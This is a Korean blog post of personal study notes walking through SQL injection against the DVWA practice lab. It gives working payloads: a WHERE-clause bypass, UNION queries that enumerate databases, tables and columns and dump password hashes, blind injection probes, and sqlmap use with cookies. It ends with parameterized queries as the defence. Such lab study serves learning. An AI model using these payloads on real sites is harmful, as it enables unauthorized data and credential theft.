==================================================
!warning!
본 게시글은 본인의 학습기록을 위해 작성된 알려진 학습 기법
함부로 악의적으로 이용은 엄연히 불법 임으로
절대 시도하지 말 것이며
사고 발생 시 본인은 절대로 책임지지 않습니다!
==================================================
Chapter07. SQL 인젝션 공격
SQL 인젝션공격 개요– 웹 서버 영역의 DB로 전송되는 SQL 쿼리문을 사용자가 임의로 조작할 수 있는 경우 발생
1. WHERE 구문을 우회하여 공격
1
2
|
$id = $_REQUEST[ ‘id’ ];
$query = “SELECT name, email FROM users WHERE id = ‘ $id ’;”;
|
cs |
-위 예제의 경우 사용자가 입력한 id 파라미터 값($id)이 쿼리문의 일부로 사용되고 있음,
이때 사용자가 id값으로 1’ or ‘1’=’1을 입력하게 되면
id=’1’항상 참이 되어 모든 사용자의 이름과 이메일이 공격자에게 전달됨
2. UNION 구문을 이용한 공격
1
|
SELECT name, email FROM users WHERE ID=’1’ UNION SELECT name, pw FROM users#~~~’
|
cs |
-UNION은 합집합으로 두 SELECT 구문의 결과를 모두 포함
시키게 함, 쿼리 끝에 #을 삽입하는 이유는 맨
끝 ‘을 주석 처리하려고 씀. ’짝수가 안맞아서
주석처리가 안되어 있으면 에러가 발생할 수 있음+
뒤에 있을지 모르는 구문(~~~)주석 처리
WHERE 구문우회 실습
스샷. 1
– SQL 인젝션 공격에 취약한지 테스트해볼 수 있는 가장
기본적인 방법은 ‘을 입력해보는 것임
스샷. 2
– 이렇게 ‘ 입력해서 건들러 보면 SQL 구문 에러가 발생되지요, 그리고
1
|
SELECT name, email FROM users WHERE id = ‘’’;
|
cs |
입력하면
-쌍이 맞이 않아 Syntax 에러 발생
1
|
1’ or ’1’=’1
|
cs |
스샷. 3
– User ID에 표에 있는 구문 입력하면 admin 외에도 다른
사용자의 정보가 출력됨
ORDER BY 및UNION 공격 실습
1
|
1’ ORDER BY 1#
|
cs |
-ORDER BY 뒤의 숫자를 증가시켜 가다가 에러 발생하면
그 전 값이 칼럼의 개수
스샷. 4~~死~~
1
|
‘ UNION SELECT schema_name,2 from information_schema.schemata#
|
cs |
-MYSQL DB는 information_shema라는 DB에서 데이터베이스 이름,
테이블, 칼럼 정보 등을 관리, 따라서 information_schema의
schemata 테이블로부터 shema_name을 가져오는 SQL 쿼리문을 이용하면 DB이름을 알아낼 수 있음
-‘앞에 상수를 써도 되지만 안 써도 무방합니다.
스샷. 5
– first name 뒤에 데이터 베이스의 이름이 출력되고 있고, DVWA에서
사용하는 DB의 이름이 dvwa임을 추측 할 수 있습니다.
1
|
‘ UNION SELECT table_name,2 from information_schema.tables where table_schema=’dvwa‘#
|
cs |
스샷. 6
– table_schema가 dvwa인지를 확인하는 조건을
주어 dvwa DB의 테이블만 출력,guest와 users라는 테이블이 출력됨
1
|
‘ UNION SELECT column_name,2 from information_schema.columns where table_schema=’dvwa‘ and table_name=’users‘#
|
cs |
스샷. 7
– 사용자(users) 테이블의 칼럼 목록을 알아내는 구문과 입력 결과, user와 password 칼럼이 눈에 띄는군요
1
|
‘ UNION SELECT user,password from users#
|
cs |
스샷. 7-8
-사용자 이름과 패스워드 해시가 출력됨,
admin의 surname md5 복호화 하면 password 됩니다.
블라인드 SQL 인젝션공격
스샷. 9
-‘을 입력하니 해당 사용자 ID가 DB에 없다는 메시지가 출력됩니다.
에러가 발생하지 않도록
처리하는 루틴이 구현되어 있음을 추측,
별다른 에러가 발생하지 않아 얘가 SQL 쿼리문을
사용하고 있는지 모름
1
|
1’ AND 1=1#
|
cs |
스샷. 10
– SQL 구문이 실행된다면 AND 조건이 같이 처리되어
참이 될 수 있는 구문을 입력했는데 ID가 존재 한다는
메시지가 출력됩니다.
1
|
1’ AND 1=2#
|
cs |
스샷. 11
-SQL 구문이 사용되는지 확실히 하기 위하여 FALSE가 되는
구문을 입력했더니 사용자가 없다고 뜸, SQL 쿼리문을
통해 처리되고 있음을 확인
-AND 등과 같은 연산이 실행되어 참과 거짓에 따라
그 결과가 다르게 구분되어
출력되는 것은 SQL 쿼리문이 뒤에서 사용된다는 증거
(같은 결과가 출력되는 경우에는 AND 뒤에 SLEEP함수를
넣어보면 됨,
참일 경우에만 실행됨)
sqlmap 자동화공격
스샷. 12-13
-1을 입력하고 [Submit] 누르면 주소 창에 요청을 전송한 URL이 표시됨
스샷. 14
– 쿠키 값 확인은 F12 누르고 document.cookie 입력
스샷. 15
– 옵션 값 중에 &나 #은 특수 기능으로 사용되기 때문에 따옴표로 묶어줘야 합니다.
스샷. 16
– 기본적인 점검에서 id 변수가 취약하며,OS정보와 Web Application정보,
DBMS정보등을 알아오는 것 을 알 수 있습니다.
스샷. 17-18
– DB 뭐 쓰는지 알아냄니다.
스샷. 19-20
-테이블 뭐 있는지 조사 해봅니다.
스샷. 21-22
– 사용자 ID와 Password 해시, 크래킹된 Password들이 출력됨,
이과정을 반복하면 DB의 정보들을 다 조사~~이정재?~~ 할 수 있음
SQL 인젝션공격 대응-사용자가 입력한 값은 SQL 쿼리문 에서 오직 데이터로만
사용되어야함 ->쿼리문을 구성하고 실행하는 방법을 파라미터
쿼리 로 변경
=================================================
오늘 챕터 7 작성 완료…
연속적으로 강제 휴일 중입니다…ōxō
미친놈들… 휴 그양
다른 자리 알아보던지
해야겠습니다. 이거야 원… |ω・`)
하다못해 팬시 일러스트 라도(…)
~~퍽! 펵!펵…!~~
아무튼 긴 글을 읽어 주셔서 감사하고
좋은 하루 보내시고, 하시는 일 잘 되시고
역시 코로나 조심 하시길 바랍니다.
'모의해킹 > 화이트해커 를 위한 웹 해킹의 기술' 카테고리의 다른 글
Chapter 09. XSS 공격 (0) | 2022.02.26 |
---|---|
Chapter 08. Command 인젝션 공격 (0) | 2022.02.26 |
Chapter 06 취약한 인증 공격 (0) | 2022.02.26 |
Chapter 05. 정보 수집 (0) | 2022.02.26 |
Chapter 04. 버프 스위트 (0) | 2022.02.26 |
모의해킹/화이트해커 를 위한 웹 해킹의 기술